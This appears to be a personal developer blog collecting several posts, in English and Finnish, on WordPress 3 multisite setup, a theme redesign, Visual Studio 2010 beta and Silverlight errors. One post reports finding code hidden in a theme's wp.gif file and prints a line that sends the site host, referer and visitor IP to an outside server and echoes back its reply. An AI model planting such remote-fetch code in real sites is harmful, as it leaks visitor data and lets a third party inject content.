I was loking forward to see wp3 multisite system. Unfortunately I hoped to get one backend administration site for many blogs where I could mix content between blogs. Multisite support is not for that purpose. It just ables many completely separate blogs to use with single wp installation. So I could as well copy my blog folder and database to get the same outcome.
If you are still going to enable wp3 multisite feature, read the installation instructions vary carefully cause the installation settings are not reversible. Pay attention whether you select sub-domains or sub-directories installation. I didn’t and I end up messing the installation. Cause of that problem my blog was under some sort of attack or at least target of spam. I wouldn’t have notice that if my sites monthly bandwidth transfer hasn’t rice like stockbroker’s dream.
Multisite feature installation mess my blog and able some hackers to misuse of it.
Luckily I had backup 
Although Balancion service is still in beta state:
“I would say it’s already one of the best finnish online services”
Service seem to work like a charm and the connection to bank was flawless and really easy.
Service looks great and it’s fun to use. What more can you wish for.
My spendings in one month
Problem:
Visual Studio 2010 beta 2 does not seem to respond all the source code changes every time.
Example:
Even if I have already fix an error and build solution the same error still exists.
Neither cleaning or rebuilding solution or restarting development server have any affect.
Example error
Workaround
Only thing that seem to help beside restarting Visual Studio is cleaning and then building again web project.
Blog 1.0 appearance
Simple blog appearence upgrade project has take something like 6 hours and still some more stuff need to be done.
Main reason of the project delays has come from the bad quality of new theme files. Theme demo looked at first glimpse it seemed to be done by profs, but the implementation proved me wrong.
When I had installed the theme files into wordpress, I got problem that I have descriped in my previous blog post HireWordPressExperts.com has excellent themes…for me to poop on.
Most of the delays were caused the theme was not created using web standards. There were over 20 severe warnings when I tried to run my new site through W3C HTML Validator. Many of the warnings were caused of missing eng tag or ul tag inside of another ul tag.
After fixing the html, hole layot crashed and I have to start from begining to styling structure.
It’s away over the midnight, but I’m pretty happy about the result. I hope you also enjoyed!
Blog 1.0 (old)
Blog 1.1 (new)
Warning: URL file-access is disabled in the server configuration
After installing one of the HireWordPressExperts.com theme, I got warning on my frontpage that it’s not safe to load scripts file_get_contents() from http://24365online.com/_YTG_yu/_dl/get_info.php?…
Warning directed me to look script from general-template.php file and I found suspicious script:
/*** HWEDLC ***/
…
$url = “http://24365online.com/_YTG_yu/_dl/get_info.php?host=$host&referer=$referer&visitor_ip=$visitor_ip”;
$content = file_get_contents($url);
echo $content;
After removing the script and refresing browser warning was gone, but second refresh brought back the same warning
I was sure this warning is caused some of the new theme files, so I tried to search similar content from inside of these files. Unfortonately Windows isn’t indexing php files, but lucily Visual Studio was able to find file. Surprisingly string was found from image file wp.gif. Soon I discovered that functions.php file tried to include wp.gif file into source code. Wp.gif file was adding additional code into get_footer function.
In the end solution was quite simple:
- Remove wp.gif file
- Remove include or require command from functions.php
- Clean the get_footer function from wp-includes/general-template.php file
I’m still believe in that the script is just a advertice, but HireWordPressExperts.com could do example XSS vulnerability into your service or mess up the layout.
Would you hire “experts” that are using this kind of marketing strategies?
Visual Studio 2010 beta 2 julkaistiin juuri testattavaksi. Ensivaikutelma on positiivinen ja tuntuu pysyvän paremmin pystyssäkin kuin beta 1.
Varoitukseksi kuitenkin:
Yksi ilta kului pelkästään Beta 1:sen poistamiseen. Syynä osittain liialti ikää kerennyt Dell:in läppäri, mutta ei sitäkään kaikesta voi syyttää.
Suosittelen kuitenkin kaikkien varaamaan reilusti aikaan beta 2:sen asennukseen. Se tuskin tulee onnistumaan parissa minuutissa.
Samalla voi nauttia, vaikka beta 2 uusista hienoista ominaisuuksista ja ohjeista:
Tuli vähän leikittyä silverlight 3:lla ja törmäsin outoon virheeseen:
AG_E_PARSER_BAD_PROPERTY_VALUE
[Line: 18 Position: 146]
Selvisi että kyseessä oli vain väärin kirjoitettu eventin nimi XAML-tiedostossa, mutta saako sen tuosta virheilmoituksesta selville. Näyttä siltä että kehittäjä olisi heittänyt vain jonkin constant muutujan, joka olisi pitänyt korvata selkokielisellä virheellä. Tosin sekään tuskin olisi paljoa auttanut, kun ei tiedostoa virheessä mainita. Rivinumero tosin osui aivan oikeaan, mutta itse lähdin etsimään virhettä code behindin puolelta.
Pelottavaa ajatella ettei eventtien virheilmoituksia ole saatu kuntoon, joka on hyvinkin yksinkertaisia ominaisuuksia kun alkaa vertaamaan joihinkin täysin uusiin palveluihin (esim. RIA-Services).
